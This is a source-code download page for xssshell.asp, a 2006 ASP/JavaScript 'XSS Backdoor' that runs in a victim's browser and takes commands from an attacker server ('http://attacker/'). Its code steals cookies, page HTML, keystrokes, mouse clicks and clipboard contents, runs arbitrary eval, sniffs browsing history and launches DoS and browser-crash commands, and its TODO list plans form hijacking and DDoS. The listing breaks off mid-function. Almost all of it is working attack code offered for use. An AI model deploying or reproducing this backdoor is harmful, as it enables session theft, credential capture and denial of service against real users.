xssshell.asp
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:35k
源码类别:

破解

开发平台:

ASP/ASPX

  1. <% 
  2. 'Prevent caching (if you want to update XSSShell source code on the fly - generally you dont. But this may be important for debugging)
  3. Response.CacheControl = "no-cache" 
  4. Response.AddHeader "Pragma", "no-cache" 
  5. Response.Expires = -1 
  6. %>
  7. /*
  8. -------------------------
  9. XSS SHELL
  10. -------------------------
  11. Ferruh Mavituna [ferruh{at}mavituna.com]
  12. v0.2 (14/08/2006)
  13. - Communication Changes
  14.         - Working well in cross-site domains issues
  15.         - New commands added
  16. v0.3 (18/08/2006)
  17. - Frameset Feature
  18.         - Several changes & Bug Fixes
  19. v0.3.1 (30/10/2006)
  20. - Clean-up in files and folders
  21. v0.3.5 (31/10/2006)
  22. - Improvements and fixes related with victim management
  23. - Password Protected admin pages
  24. v0.3.7 (01/11/2006)
  25. - Visited Link checker command
  26. - Spell checks
  27. - Save / Eval parsing bugs fixed
  28. - History Checker added
  29. - Minor fixes & improvements especially in tunnel
  30. - Some admin interface makeover
  31. v0.3.8 (01/11/2006)
  32. - getURL Command() - no post etc. support yet...
  33. - Post support added to getURL() command!
  34. v0.3.9 (02/11/2006)
  35. - Connection drop timeout check. If your XSS Shell server is down or connection dropped because of victim it'll try to repair itself.
  36. - DoS Command and Crash command added
  37. -------------------------
  38. LICENCE
  39.   -------------------------
  40. XSS Shell v0.3.7, XSS Backdoor for more effective XSS attacks
  41. Copyright (C) {2006} {Ferruh Mavituna} http://ferruh.mavituna.com
  42. This program is free software; you can redistribute it and/or modify it
  43. under the terms of the GNU General Public License as published by the Free
  44. Software Foundation; either version 2 of the License, or (at your option)
  45. any later version.
  46. This program is distributed in the hope that it will be useful, but WITHOUT
  47. ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  48. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
  49. You should have received a copy of the GNU General Public License along with
  50. this library; if not, write to the Free Software Foundation, Inc., 59 Temple
  51. Place, Suite 330, Boston, MA 02111-1307 USA
  52. -------------------------
  53. TEST STATUS
  54. -------------------------
  55. 18/08/2006
  56. Working IE 6+, FF 1.5+
  57. * Keylogger and Mouse Logger is not working in IE because of new frame improvements
  58. -------------------------
  59. 09/08/2006
  60. - Started
  61. 10/08/2006
  62. - First working alpha
  63. - Random IDs added to request for fixing cache issues
  64. 14/08/2006
  65. - JS Communication Channel
  66. 15/08/2006
  67. - Working version !
  68. - New commands
  69. 16/08/2006
  70. - FF problems solved 
  71. - Frame supported keylogger implemented for FF
  72. 18/08/2006
  73. - Frameset implementation is working now
  74. - Code clearance ... unused variables, functions and some descriptions ...
  75. 21/08/2006
  76. - JS file renamed 
  77. - Admin screen improved ( makeover generally )
  78. - Browser information of victim (passive server-side)
  79. - Extra browser header log to detection of non transparent proxies
  80. - IP To Country, Check victim country
  81. 30/10/2006
  82. - Not required files & folders removed
  83. - One small bug fixed in solutip.js while running admin interface in IE
  84. - Comments make over, a few comments added 
  85. 31/10/2006
  86. - Extension changed to .asp
  87. - Victim ID geting from querystring now
  88. 31/10/2006
  89. - Uniqe and random victim management
  90. - Password protection for admin pages
  91. 01/11/2006
  92. - Request / Response support
  93. 02/11/2006
  94. - Connection timeout check
  95. - Bug FIX: History checker is working for IE now
  96. FIXED / FINISHED;
  97. + Reference Numbers for Request and Response so we can match which response from which request - Critical
  98. + Switch regenerate iframe to frameset (better visual)
  99. + Need a better victim management
  100. + Dynamic victim management. Assign a unique ID to every unique victim and start tracking easily
  101. + Remove unrequired files
  102. + Request & Response (with GET and POST support)
  103. + Timeout (if connection timeout once it's gone forever! very bad bug)
  104. TODO;
  105. / Attach keylogger in every page changes (still not working for IE)
  106. / Better push management for multiple victims (a bit better now - still we can't select victims from GUI)
  107. - Handle exceptions and able to keep it alive
  108. - READ DATA processed finished by REMOTE IMAGE LOADING ! or Iframe roundtrip for stability
  109. - Mouse logger for framed page
  110. - Better keylogger (include active focused elements, handle special charsets etc.)
  111. - Hijack forms and grab a copy of data to bypass all kind of stuff (including client based MD5 hashing, virtual keyboards, of course SSL and event Java based secure input implementations.)
  112. TODO Commands;
  113. - Port Scanner
  114. - DDoS
  115. TODO Refactor;
  116. - Remove not required functions
  117. - Fix document relations globals (getDomain(), d, td etc.)
  118. - Use replaceNode() as in Iframe communication loader
  119. KNOWN BUGS;
  120. - Keylogger is not working on IE
  121. - Support for framed pages
  122. */
  123. /*
  124. DEBUG CONFIG
  125. */
  126. // Debug verbose level (0 = nothing, 1 = verbose, 2 = very verbose)
  127. var DEBUGLEVEL = 0;
  128. <%
  129. '/*
  130. ' VICTIM CONFIG
  131. '*/
  132. Const DefaultID = 155
  133. Const BroadCast = 336699
  134. Dim VicID, VicAdd
  135. VicID = CLng(fm_QNStr("v"))
  136. 'Generate new Victim on the fly
  137. If VicID = BroadCast Then VicID = fm_RndNumeric
  138. 'Add if not default victim 
  139. If VicID <> DefaultID Then VicAdd = "&v=" & VicID
  140. %>
  141. // Normally victim ID should be unique we can not trust IP its not so reliable, but maybe later as an option
  142. var VICTIM = "<%=VicID%>";
  143. /*
  144. SERVER CONFIG
  145. */
  146. // You XSSShell Server
  147. var SERVER = "http://attacker/"; 
  148. // This file's name
  149. var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ; 
  150. // Connector file (can be in php, cfm, pl etc. just stick with implementation)
  151. var CONNECTOR = SERVER + "xssshell/connector.asp"; 
  152. // Commands file (can be in php, cfm, pl etc. just stick with implementation)
  153. var COMMANDS_URL = SERVER + "xssshell/commands.asp"; 
  154. /*
  155. FRAME REGEN CONFIG
  156. */
  157. // This URL will be regenerated (so you can force victim to redirect somewhere else maybe login page or something right after the infection)
  158. var THIS_SRC = "?rand="+generateID(); 
  159. // Regen properties
  160. var REGEN_IFRAME_ID = "IframeRogue";
  161. var CONTROLLER_ID = "ControllerFrame";
  162. var LOADER_ID = "IframeLoader";    
  163. var IFRAME_TITLE_FREQ = 500;
  164. // Random identifier for DoS attacks
  165. var RANDOM_INT = "{RANDOM}"
  166. /*
  167. FEATURES CONFIG
  168. */
  169. // Regenerate page in frames to keep it alive
  170. var REGENERATE_PAGE = true;
  171. // Keylogger
  172. var LOAD_KEYLOGGER = true;
  173. // Mouselogger (for virtual keyboards etc.)
  174. var LOAD_MOUSELOGGER = true;
  175. // Get current DOM on every click ! Only works if mouselogger enabled
  176. var GET_SELF_EVERY_CLICK = false;
  177. /*
  178. CONSTANTS
  179. */
  180. // IE 4.0 Limit = 2083
  181. // 1024 is a secure one...
  182. var BUFFER_LIMIT = 1024; 
  183. // Myself
  184. var XSSSHELL = true;
  185. // Space for other stuff
  186. BUFFER_LIMIT -= 200; 
  187. /*
  188. COMMUNICATION ENUMS
  189. */
  190. // Send & Rec. not going to work in cross domain for almost all browsers so just for fun...
  191. var XMLHTTP = 0;
  192. // Just sending (to receive from an Iframe see ROUND_TRIP model)
  193. var IFRAME = 1;
  194. // Generally just for receieve
  195. var IMG = 2;
  196. // Load remote JS and parse it.
  197. var JSMODEL = 3;
  198. // Make roundtrips with payload to server and read from Iframe URL
  199. var ROUND_TRIPS = 4;
  200. /*
  201. COMMUNICATION / TUNNEL CONFIG
  202. */
  203. var recCommunication = JSMODEL;
  204. var sendCommunication = IFRAME;
  205. var communication = recCommunication;
  206. /*
  207. TIME CONFIG
  208. */
  209. // Process Commmand wait frequency as ms
  210. // This is important, because we don't track responses which means we blindly uses same iframe for every command response, which means lots of fucked up threads....
  211. var PROCESS_FREQ = 1000;
  212. // Request for new commmands frequency as ms
  213. var REQUEST_FREQ = 1500;
  214. // Remote load control frequency
  215. var REMOTE_JS_CHECK_FREQ = 100;
  216. // If there is no getCommand() call we try to make it alive again
  217. var REQ_TIMEOUT = 5000;
  218. // If something goes server-response wait before remove last commands from que
  219. var WAIT_AND_CALL = 2000;
  220. // When you launch DoS all victims is going to start this number of connections by default (also you can supply this number while sending command)
  221. var DEFAULT_DOS_CONNECTION = 500;
  222. /*
  223. INTERNAL GLOBAL
  224. */
  225. // Log Types
  226. var HTMLPAGE = 1;
  227. var TEXT = 2;
  228. var REPORT = 3;
  229. // Broadcast victim, accept everytime
  230. var BROADCAST_VICTIM = 336699;
  231. // Keylogger Data
  232. var keyloggerData = "KEYLOGGER:";
  233. // Mouse Logger Data
  234. var mouseLoggerData = "";
  235. // Any commands return or not
  236. var anyCommands = false;
  237. /*
  238. COMMANDS
  239. If you want to add a new feature add it to here.
  240. */
  241. // Command Enums
  242. var CMD_GETCOOKIE = 1;
  243. var CMD_GETSELFHTML = 2 ;
  244. var CMD_ALERT = 3;
  245. var CMD_YESNO = 4;
  246. var CMD_EVAL = 5;
  247. var CMD_GETKEYS = 6;
  248. var CMD_GETMOUSE = 7;
  249. var CMD_GETCLIPBOARD = 8;
  250. var CMD_GETINTERNALIP = 9;
  251. var CMD_PORTSCAN = 10;
  252. var CMD_HISTORY = 11;
  253. var CMD_GETURL = 12;
  254. var CMD_DOS = 13;
  255. var CMD_CRASH = 14;
  256. var CMD_STOPDOS = 15;
  257. // Build Data Types
  258. var dataTypes = new Array();
  259. dataTypes[CMD_GETCOOKIE] = TEXT ;
  260. dataTypes[CMD_GETSELFHTML] = HTMLPAGE ;
  261. dataTypes[CMD_ALERT] = TEXT ;
  262. dataTypes[CMD_YESNO] = TEXT ;
  263. dataTypes[CMD_EVAL] = TEXT ;
  264. dataTypes[CMD_GETKEYS] = TEXT ;
  265. dataTypes[CMD_GETMOUSE] = TEXT ;
  266. dataTypes[CMD_GETCLIPBOARD] = TEXT ;
  267. dataTypes[CMD_GETINTERNALIP] = TEXT ;
  268. dataTypes[CMD_PORTSCAN] = TEXT ;
  269. dataTypes[CMD_HISTORY] = TEXT ;
  270. dataTypes[CMD_GETURL] = HTMLPAGE ;
  271. dataTypes[CMD_DOS] = TEXT ;
  272. dataTypes[CMD_CRASH] = TEXT ;
  273. dataTypes[CMD_STOPDOS] = TEXT;
  274. var NO_RECORD = 0;
  275. /*
  276. TOTALLY INTERNAL CONFIG
  277. */
  278. // Timeout Check
  279. var lastAccess=0;
  280. // Internal
  281. var d = document;
  282. // Switch to context
  283. var td = document;
  284. var DEBUG_DIV = "debugshell";
  285. var IFRAME_ID = "communicationIframe";
  286. var CALLBACK_PARAM = "<<RESPONSE>>";
  287. var COMMAND_SEPERATOR = "{|}";
  288. var REMOTE_SCRIPT_ID = "remoteJs";
  289. var FORM_ID = "r_control_tunnel";
  290. // Command Que - FIFO
  291. var commands = new Array();
  292. // IE
  293. var ie = d.all;
  294. // Command Structure
  295. function command(cmd, param, attackID) { 
  296. this.cmd = cmd;
  297. this.param = param.split("|,|"); // Convert to array
  298. this.attackID = attackID;
  299. }
  300.                    
  301. // Setup onload initilaizer
  302. window.onload=function(){
  303. init();
  304. };
  305. function handleError() {
  306. return true;
  307. }
  308. window.onerror = handleError;
  309. /*
  310. DESCRIPTION;
  311. Get current page HTML
  312. @Return : HTML Code of current page
  313. */
  314. function getSelfHtml(){
  315. return getDomain().body.parentNode.innerHTML;
  316. }
  317. /*
  318. DESCRIPTION;
  319. Get current document cookie
  320. @Return : Cookie of current document
  321. */
  322. function getCookie(){
  323. return d.cookie;    
  324. }
  325. function getHistory(list){
  326. var ret="";
  327. var checkLinks = list.split("n");
  328. for (var i=0;i<checkLinks.length ;i++ )
  329. ret += checkLinks[i] + ":" + IsVisited(checkLinks[i]) + "{n}";
  330. return ret;
  331. }
  332. /*
  333. DESCRIPTION;
  334. Generate a new hidden div for history checking
  335. HISTORY
  336. Damn IE!, I have to update the code beacause of stupid IE. Now it's generating new iframe and putting style sheet into it then checking...
  337. */
  338. var CHECK_BOX = "IFRAME_CHECKBOX_ID";
  339. function getDummyIframe(){
  340. var IEdyn = d.getElementById(CHECK_BOX);
  341. if (!IEdyn){
  342. IEdyn = d.createElement("iframe");
  343. IEdyn.style.visibility = "hidden";
  344. IEdyn.id = CHECK_BOX;
  345. d.body.appendChild(IEdyn);
  346. var df = getFrameCont(IEdyn);
  347. var style  = "<style>a:visited{width:0px};</style>";
  348. df.open();
  349. df.write(style);
  350. df.close();
  351. }
  352. return IEdyn;
  353. }
  354. /*
  355. DESCRIPTION;
  356. Get frame document cross-browser
  357. */
  358. function getFrameCont(frame){
  359. var fd = frame.contentDocument;
  360. if(!fd)fd = frame.contentWindow.document;
  361. return fd;
  362. }
  363. /*
  364. DESCRIPTION;
  365. Checks given link and retur true if visited false otherwise
  366. */
  367. function IsVisited(link){
  368. var df = getFrameCont(getDummyIframe());
  369. var checkLink = df.createElement("a");
  370. checkLink.href = link;
  371. df.body.appendChild(checkLink);
  372. if (checkLink.currentStyle)
  373. visited = checkLink.currentStyle["width"];
  374. else 
  375. visited = df.defaultView.getComputedStyle(checkLink, null).getPropertyValue("width");
  376. return (visited == "0px");
  377. }
  378. /*
  379. Return the name of loaded frame
  380. */
  381. function whereAmI(){
  382. for (var i=0;i<parent.window.frames.length ;i++ ){
  383. if (parent.window.frames[i].document == self.document){
  384. return parent.window.frames[i].name;
  385. }
  386. }
  387. return "0";
  388. }
  389. /*
  390. DESCRIPTION;
  391. Main init function handle onload stuffs
  392. */
  393. function init(){
  394. // Regenerate page in frames
  395. if(REGENERATE_PAGE){
  396. // Regenerate current page in frames
  397. if(parent.window.frames[0]){
  398. // Check if loaded in Rogueframe
  399. if ( whereAmI() == REGEN_IFRAME_ID ){
  400. return;
  401. }
  402. // Check if loaded in Controller
  403. if ( whereAmI() == CONTROLLER_ID ){
  404. checkTitleChanges();
  405. }
  406. }else{ // First load - Generate and get out !
  407. regenInFrames();
  408. return;
  409. }
  410. }
  411. // TODO : REFACTOR
  412. // In fact this keylogger and mouselogger is *almost* useless in regenerated pages !
  413. // Load Keylogger
  414. if(LOAD_KEYLOGGER)
  415.        document.onkeypress = logKeys;
  416. // Load MouseLogger
  417.     if(LOAD_MOUSELOGGER)
  418.         document.onclick = logMouse;
  419. // Start to get commands
  420. getCommands();      
  421. checkTimeout();
  422. // Handle errors
  423. window.onerror = handleError;
  424. debug("init finished !", 2);
  425. }
  426. /*
  427. DESCRIPTION;
  428. Handle errors and try to keep connection alive...
  429. */
  430. function handleError(){
  431. // On error remove received commands
  432. //getCommands();
  433. }
  434. /*
  435. DESCRIPTION;
  436. Remove given command with ERR response
  437. */
  438. function removeCommand(cmd){
  439. log("ERR", TEXT, cmd.attackID, " ");
  440. }
  441. /*
  442. DESCRIPTION;
  443. Check timeout problems every second and reconnect if connection dropped
  444. */
  445. function checkTimeout(){
  446. var now = new Date().getTime();
  447. // Get commands again if we didn't do it for a long time
  448. if (now - REQ_TIMEOUT > lastAccess){
  449. getCommands()
  450. }
  451. window.setTimeout("checkTimeout()", 1000);
  452. }
  453. /*
  454. Get current document context (why named getDomain() ?)
  455. May switch optionally to support other issues
  456. */
  457. function getDomain(){
  458. return parent.window.frames[REGEN_IFRAME_ID].document;
  459. }
  460. /*
  461.     Source Partially : http://www.howtocreate.co.uk/jslibs/otherdemo.html
  462. */
  463. function logKeys( e ) {
  464.   if( !e ) { e = window.event; } 
  465.   if( !e ) { return; }
  466.   
  467.   if( e.which ) { key = e.which; } 
  468.   else if( e.keyCode ) { key = e.keyCode; } 
  469.   else if( e.charCode ) { key = e.charCode }
  470.     key = String.fromCharCode(key);
  471. // Log
  472. keyloggerData += key;
  473.     debug(key, 1);
  474. }
  475. /*
  476. DESCRIPTION;
  477. Get commands from server and que them via pushCommands()
  478. */
  479. function getCommands(){
  480. // Update time
  481. lastAccess = new Date().getTime();
  482. debug("Request done for commands", 2);
  483. debug(COMMANDS_URL + "?v=" + VICTIM, 2);
  484. if( !getRequest(COMMANDS_URL + "?v=" + VICTIM + "&r=" + generateID(), "pushCommands("+CALLBACK_PARAM+");", recCommunication) ){
  485.         window.setTimeout("getCommands()", REQUEST_FREQ);
  486.     }
  487.        
  488. }
  489. /*
  490. DESCRIPTION;
  491. Push commands
  492. */
  493. function pushCommands(cmd){
  494.     // No job
  495. if(cmd == NO_RECORD) {
  496. debug("No commands to process!", 2);
  497. window.setTimeout("getCommands()", REQUEST_FREQ);
  498.         return ;
  499. }
  500. debug("Commands gathered..." + cmd, 1);
  501. //Go for it...
  502. var allCommands = cmd.split(COMMAND_SEPERATOR);
  503. for (var i = 0;i< allCommands.length; i+=3)
  504. {
  505. // Add new command
  506. commands.push(parseCommand(allCommands, i));
  507. }
  508. // Process commands
  509. processQue();
  510. }
  511. /*
  512. DESCRIPTION;
  513. Parse raw command request array and returns as new command
  514. @rawCmd : Not exactly it's an array
  515. @baseId : Array start point
  516. RETURN;
  517. - New Command
  518. */
  519. function parseCommand(rawCmd, baseId){
  520. return new command(rawCmd[baseId], rawCmd[baseId+1], rawCmd[baseId+2]);
  521. }
  522. /*
  523. Generatre Random ID for AttackID (fix it with more random and unique stuff)
  524. */
  525. function generateID(){
  526. return Math.floor(Math.random()*999999999);
  527. }
  528. /*
  529. DESCRIPTION;
  530. Process que and fire up commands until all of them finished
  531. REMARKS;
  532. - Delayed recursive function 
  533. - Works multithreaded
  534. */
  535. function processQue(){
  536. debug("Que len : " + (commands.length / 3), 2);
  537. // No commands to manage in que
  538. if (commands.length === 0){
  539.         // Check for new commands
  540.         window.setTimeout("getCommands()", REQUEST_FREQ);
  541.         return;
  542.     }
  543. processCommand();
  544. }
  545. /*
  546. DESCRIPTION;
  547. Process que (FIFO style)
  548. */
  549. function processCommand(){
  550. // No commands
  551.     if( commands.length == 0 ){
  552.         window.setTimeout("getCommands()", REQUEST_FREQ);
  553.         return;
  554.     }
  555. // Get current command
  556.     var cmd = commands.shift();
  557.     try{
  558. processGivenCommand(cmd);
  559.     }catch (e){
  560. removeCommand(cmd);
  561. waitAndCall("processCommand()", WAIT_AND_CALL);
  562. }
  563.     
  564.     debug(cmd.cmd + " command in process", 1);
  565. }
  566. /*
  567. DESCRIPTION;
  568. Wait and call callback
  569. */
  570. function waitAndCall(callback, wait){
  571. window.setTimeout(callback, wait);
  572. }
  573. /*
  574.     Seperating execution for internal calls
  575. */
  576. function processGivenCommand(cmd){
  577. switch (parseInt(cmd.cmd)){
  578. case CMD_GETCOOKIE:
  579.   log(getCookie(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  580. break;
  581. case CMD_GETSELFHTML:
  582. log(getSelfHtml(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();" );
  583. break;
  584. case CMD_EVAL:
  585. eval(cmd.param[0]);
  586. log("Success", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();");
  587. break;
  588. case CMD_ALERT:
  589. alert(cmd.param[0]);
  590. log("Success", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();");
  591. break;
  592. case CMD_YESNO:
  593. log(prompt(cmd.param[0], ""), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  594. break;
  595.         case CMD_GETKEYS:
  596. log(keyloggerData, dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  597. break;
  598.         case CMD_GETMOUSE:
  599.             log(mouseLoggerData, dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  600. break;
  601.         case CMD_GETCLIPBOARD:
  602.             log(getClipboard(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  603. break;
  604.         case CMD_GETINTERNALIP:
  605.             log(getInternalIP(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  606. break;
  607. /*        case CMD_PORTSCAN:
  608.             log(portScan(cmd.param[0], cmd.param[1]), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  609. break; */
  610.         case CMD_HISTORY:
  611. log(getHistory(cmd.param[0]), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  612. break;
  613.         case CMD_GETURL:
  614. cmdGetURL(cmd);
  615. break;
  616.         case CMD_CRASH:
  617. log("Don't expect a response!", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  618. cmdCrash();
  619. break;
  620.         case CMD_DOS:
  621. log("DoS Started", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  622. var force = DEFAULT_DOS_CONNECTION;
  623. // Get from master param
  624. if (cmd.param[1] != undefined)force = cmd.param[1];
  625. stopDoS = true;
  626. cmdDoS(cmd.param[0], force);
  627. break;
  628. case CMD_STOPDOS:
  629. stopDoS = true;
  630. log("DoS should be stopped.", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  631. }
  632. }
  633. /*
  634.     Wait for form finish submit and then run next commands 
  635.     
  636.     TODO : Use remote image load and handle this situation
  637.          -  Use ASP.NET Sleep, and response as image when you got the hit from success !
  638.     
  639. */
  640. function waitAndRun(){
  641.     window.setTimeout("processCommand()", PROCESS_FREQ)
  642. }
  643. /*
  644. DESCRIPTION;
  645. Write debug information to DEBUG_DIV
  646. @msg : Debug Message
  647. REMARKS;
  648. - Only for debug...
  649. 16/08/2006
  650. - Debug verbose level added
  651. */
  652. function debug(msg, level){
  653. if(DEBUGLEVEL == 0 )
  654. return;
  655. if(typeof level == "undefined")
  656. level = 0;
  657. // Check for debug level and show
  658. if(level <= DEBUGLEVEL){
  659. generateDebugConsole();
  660. d.getElementById(DEBUG_DIV).innerHTML += "- " + msg + "<br>" ;
  661. }
  662. }
  663. /*
  664. DESCRIPTION;
  665. Check for debug console generate if it's not already around
  666. REMARKS;
  667. - Only for debug...
  668. */
  669. function generateDebugConsole(){
  670. if(d.getElementById(DEBUG_DIV) === null) {
  671. var debugConsole;
  672. debugConsole = d.createElement("div");
  673. debugConsole.innerHTML = "<strong>Debug Console!</strong><hr>";
  674. debugConsole.id = DEBUG_DIV;
  675. d.body.appendChild(debugConsole);
  676. //debugConsole.className = DEBUG_DIV; // Damn its not working in IE I dont know why! so I did it by my dirty JS hands
  677. var dc = debugConsole.style;
  678. dc.color = "#0F0";
  679. dc.backgroundColor="#000";
  680. dc.padding="3px";
  681. dc.width = "400px";
  682. dc.border="1px solid #F00";
  683. dc.fontSize="11px";
  684. dc.fontFamily="Lucida Sans";
  685. }
  686. }
  687. /* 
  688.  External Source Code from : http://www.jibbering.com/2002/4/httprequest.html
  689. */
  690. var xmlhttp=false;
  691. /*@cc_on @*/
  692. /*@if (@_jscript_version >= 5)
  693. // JScript gives us Conditional compilation, we can cope with old IE versions.
  694. // and security blocked creation of the objects.
  695.  try {
  696.   xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  697.  } catch (e) {
  698.   try {
  699.    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  700.   } catch (E) {
  701.    xmlhttp = false;
  702.   }
  703.  }
  704. @end @*/
  705. if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
  706. try {
  707. xmlhttp = new XMLHttpRequest();
  708. } catch (e) {
  709. xmlhttp=false;
  710. }
  711. }
  712. if (!xmlhttp && window.createRequest) {
  713. try {
  714. xmlhttp = window.createRequest();
  715. } catch (e) {
  716. xmlhttp=false;
  717. }
  718. }
  719. /*
  720. DESCRIPTION;
  721. GetURL() source in the same domain by XMLHTTP (with POST DATA support)
  722. */
  723. function cmdGetURL(cmd){
  724. var postData="";
  725. if (cmd.param.length>0)
  726. postData = cmd.param[1];
  727. getRequest(cmd.param[0], "getURLHandler('" + dataTypes[cmd.cmd] + "','" + cmd.attackID + "'," + CALLBACK_PARAM + ")", postData,  XMLHTTP);
  728. }
  729. /*
  730. DESCRIPTION;
  731. Handle getURL() event and send to master
  732. */
  733. function getURLHandler(dataType, attackID, response){
  734. // TODO: Implement timeout for request and run wait and run if something goes wrong...
  735. log(response, dataType, attackID, "waitAndRun()");
  736. }
  737. /*
  738. DESCRIPTION;
  739. Do Request to Master
  740. @data : Data will be send to master
  741. @dataType : Datatype HTML, Text etc.
  742. @attackID : Attack ID identifier
  743. REMARK;
  744. - SERVER hardcoded in Config
  745. - I know eval callBack sucks but it's simpler then implement a real one
  746. TODO;
  747. + DONE + Potential BUG TODO : Escape Chars Fix with URL Encode
  748. - Implement POST support
  749. HISTORY;
  750. - Data type added
  751. - Encoding added
  752. - AttackID added
  753. - Function seperated into 2 parts, log is now only prepare data and send it to getRequest() core function
  754. */
  755. function log(data, dataType, attackID, evalCallBack){
  756. url = CONNECTOR + "?r=" + generateID();
  757. postData = "d=" + escape(data) + "&t=" + escape(dataType) + "&a=" + escape(attackID);
  758. getRequest(url, evalCallBack, postData,  sendCommunication);
  759. }
  760. /*
  761. DEPRECATED OR OPTIONAL ? 
  762. DESCRIPTION;
  763. Add Iframe for hidden communication
  764. FIXED + IE version more stable with Iframe regeneration.
  765. */
  766. function addIframe(){
  767.     var iframeLoader = d.getElementById(LOADER_ID);   
  768.     
  769.     try{
  770. // New loader if not exist
  771. if( !iframeLoader ){
  772. var tmpDiv = d.createElement("div");
  773. tmpDiv.id = LOADER_ID;
  774. d.body.appendChild(tmpDiv);
  775. }
  776. }catch(e){
  777. debug("Adding new div failed !", 1);
  778. }
  779.     
  780.     // Remove Iframe
  781.     try{
  782. if( d.getElementById(IFRAME_ID) ){
  783. d.getElementById(LOADER_ID).innerHTML = "";
  784. }
  785. }catch(e){
  786. debug("Removing loader failed !", 1);
  787. }
  788.     
  789. try{
  790. // FIX : IE5 dynamic Iframe issues
  791.         cIframe = d.createElement("iframe");
  792. cIframe.id = IFRAME_ID;
  793. cIframe.name = IFRAME_ID;
  794. if(DEBUGLEVEL == 0){
  795.             cIframe.style.visibility = "hidden";
  796.        /*cIframe.width=0;
  797.         cIframe.height=0;
  798.      cIframe.border=0;   */
  799.         }
  800. }catch(e){
  801. debug("Iframe generation failed !");
  802. }
  803. iframeLoader = d.getElementById(LOADER_ID);   
  804. iframeLoader.appendChild(cIframe);
  805.      //cIframe.src = "empty.htm";
  806. }
  807. /*
  808. DESCRIPTION;
  809. Core communication function
  810. @url : Request URL
  811. @evalCallBack : Dirty Callback implementation, Function as String
  812. RETURN;
  813.    Error status, True or False
  814. REMARK;
  815. - Use CALLBACK_PARAM Const for response parameter like "trigger("+CALLBACK_PARAM+")"
  816. 10/08/2006
  817. - Communication tunnels are changed and now optional
  818.         14/08/2006
  819.             - Global communication removed
  820.             
  821. */
  822. function getRequest(url, evalCallBack, postData, GetModel){
  823. // This will possibly blown up in a JS optimizer! So fix it or disable variable name optimization
  824. // Yeah eval() == evil();
  825. debug("Request : " + url);
  826. // POST Support
  827. isPost = (postData != "" && postData != null);
  828.     
  829. // Fix to generic if it's not supplied 
  830.     if ( typeof GetModel == "undefined")
  831.    GetModel = communication;
  832.        
  833. // Select communication type
  834. switch(GetModel){
  835. case XMLHTTP:
  836.          debug("Using XMLHTTP");
  837.     
  838.             xmlhttp.open((isPost) ? "POST" : "GET", url, true);
  839. // Add post headers
  840. if(isPost)
  841. xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');
  842. xmlhttp.onreadystatechange=function() {
  843. if (xmlhttp.readyState==4) {
  844. // Response
  845. if (evalCallBack!=="" && evalCallBack !== null){
  846. evalCallBack = evalCallBack.replace(CALLBACK_PARAM, "xmlhttp.responseText"); 
  847. eval(evalCallBack);
  848. }
  849. }
  850. };
  851. xmlhttp.send(postData);
  852. break;
  853.         case IFRAME:
  854.             
  855.             // Maybe we should do this though DOM. Then it seems more professional with createlement...
  856.             var formHtml = "<form name="" + FORM_ID + "" id="" + FORM_ID + "" method="POST" action="" + url + "" >";
  857.             
  858.             var formData = postData.split("&");
  859.             for (var i = 0; i<formData.length; i++){
  860.                var fieldStruct = formData[i].split("=");
  861.                formHtml += "<input name="" + fieldStruct[0] + "" value="" + fieldStruct[1] + "" type="hidden">"; 
  862.             }
  863.             
  864.             formHtml += "</form>";
  865.             
  866.             // submit onload
  867.             formHtml += "<script>window.onload=function(){document.forms[0].submit();}</script>";
  868.             
  869.             
  870.             buildAndSubmitForm(formHtml);
  871.             
  872.             // Response
  873. if (evalCallBack!=="" && evalCallBack !== null){
  874.      evalCallBack = evalCallBack.replace(CALLBACK_PARAM, "'Form Process Started...'"); 
  875.                  eval(evalCallBack);
  876. }
  877. break;
  878. // use Img src method... 
  879.         // Just sending, and also you can get commands from loaded dimensions ...
  880.         case IMG:
  881.          debug("IMG mode not implemented!");
  882.          break;
  883.          
  884. // Just sending...
  885. // Load remote js and read
  886.         case JSMODEL: // No post data support
  887.   loadJs(url);
  888.      // Response
  889.      remoteJsLoadControl(evalCallBack);
  890.      
  891.          break;
  892. }
  893. // Normally we should check for errors
  894.     return true;
  895. }
  896. /*
  897. DEPRECATED ? or Response Channel...
  898. */
  899. function buildAndSubmitForm(html){
  900.     addIframe();
  901.      
  902. try{
  903. if(d.all){ //IE (doesnt work stable in FF)
  904. window.frames[IFRAME_ID].document.write(html);
  905. window.frames[IFRAME_ID].document.close();
  906. }else{ // FF
  907. d.getElementById(IFRAME_ID).contentWindow.document.write(html);
  908. d.getElementById(IFRAME_ID).contentWindow.document.close();
  909. }
  910. }catch(e){
  911. debug("Blown - n" + e, 1);
  912. }
  913.     debug("Response form submitted !", 1);
  914.  }
  915. /*
  916. DESCRIPTION;
  917. Check remote Js Loaded or Not 
  918. @evalCallBack : Dirty Callback implementation, Function as String
  919. REMARK;
  920.         14/08/2006
  921.             - Started
  922.             
  923. */
  924. // Timeout control for remote loading 
  925. var remoteTimer = null;
  926. /*
  927.     Check remote JS loaded. If it's loaded fire up callback.
  928. */
  929. function remoteJsLoadControl(evalCallBack){
  930.     if(typeof c !== "undefined"  && c !== null){ // Loaded
  931.                 
  932.         // Response
  933.    if (evalCallBack!=="" && evalCallBack !== null){
  934.         var remoteResponse;
  935.         remoteResponse = c();
  936.             
  937.            evalCallBack = evalCallBack.replace(CALLBACK_PARAM, "remoteResponse"); 
  938.         eval(evalCallBack);
  939.      }
